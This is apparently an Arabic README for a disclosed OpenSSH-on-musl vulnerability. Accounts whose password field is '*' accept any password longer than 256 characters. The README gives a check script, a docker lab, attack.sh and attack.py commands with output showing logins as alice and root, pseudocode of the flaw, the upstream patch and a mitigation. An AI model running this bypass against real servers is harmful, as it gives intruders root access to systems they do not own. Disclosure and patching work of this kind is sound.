
openssh على musl كان يقبل أي كلمة مرور بطول 257 حرفًا أو أكثر للحسابات التي لا تحتوي على كلمة مرور. منذ 2016. check.sh، poc، patch.
openssh على musl linux (alpine، openwrt، buildroot، yocto) يتيح لك تسجيل الدخول إلى أي حساب تكون كلمة مروره * باستخدام أي كلمة مرور أطول من 256 حرفًا. وهذا يعني root، والمستخدمين الذين يعتمدون على المفاتيح فقط، ومستخدمي ldap، ومستخدم alpine في صور alpine السحابية. منذ 2016.
القصة الكاملة على sshhole.com. يحتوي هذا المستودع على السكربت للتحقق من جهازك الخاص، وإعداد docker لتجربته بنفسك، والتصحيح (patch).
تم إصلاحه في openssh 10.6p2 في 2026-11-05. حزم alpine متوفرة.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
أنت معرّض فقط إذا كانت جميع هذه الشروط صحيحة. يخبرك السكربت أي شرط مفقود إذا لم تكن معرّضًا:
openssh-server العادية في alpine كذلك. openssh-server-pam مع UsePAM yes آمنةPasswordAuthentication yes في sshd_config (هذا هو الافتراضي)* بالضبط$5$ أو $6$ (شخص ما، أي شخص، شغّل passwd)glibc، pam، PasswordAuthentication no، openbsd، freebsd، macos: غير متأثرة. يمكنك التوقف عن القراءة.
تحتاج إلى docker. يبني هذا نسخة alpine 3.24 عادية مع openssh-server والإعدادات الافتراضية. لدى alice القيمة *، ولدى bob كلمة مرور حقيقية.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
مطالبتان. الأولى أي شيء، والثانية 300 × A. هذا هو الاستغلال.
يعمل root أيضًا إذا تم تعيين PermitRootLogin yes:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py يفعل الشيء نفسه باستخدام paramiko ويتيح لك اختيار طول كلمة المرور، بحيث يمكنك رؤية 256 تفشل و257 تنجح:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
لإصدارات alpine الأقدم: docker build --build-arg BASE=alpine:3.21 -t sshhole . يعمل على الأقل حتى 3.18. أقدم إصدار جربناه كان openssh 7.5p1 على musl 1.1.16 من 2017، وقد عمل هناك أيضًا.
patch/4353fdc43-avoid-password-authn-bypass.patch هو الإصلاح من المنبع، دون تغيير، في حال احتجت إلى تطبيقه على إصدار أقدم. يعمل على أي إصدار بدءًا من 7.3p1 فما فوق. يجعل sshd يتخطى المقارنة عندما يكون الحقل المخزَّن قصيرًا جدًا بحيث لا يكون تجزئة حقيقية، كما يتوقف عن استخدام مؤشر إلى المخزن المؤقت الثابت في libc.
إذا لم تتمكن من التحديث الآن، فاضبط PasswordAuthentication no في sshd_config. فهذا يغلقه تمامًا.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
قارن sshd بـ * بهذه الطريقة منذ التسعينيات. بدأت musl بإرجاع * عند الفشل في 2012. بدأ sshd باستخدام أملاح حسابات أخرى في 2016. انظر الجدول الزمني.
إعداد الاختبار الكامل (17 بيئة: صورة سحابية في qemu، وopenwrt، وbuildroot، ومستخدمو ldap وad، وما إلى ذلك)، وأرقام الانتشار والجدول الخاص بكل توزيعة موجودة في المقال. قد تُنشر لاحقًا. هذا المستودع صغير عن قصد.
رخصة mit.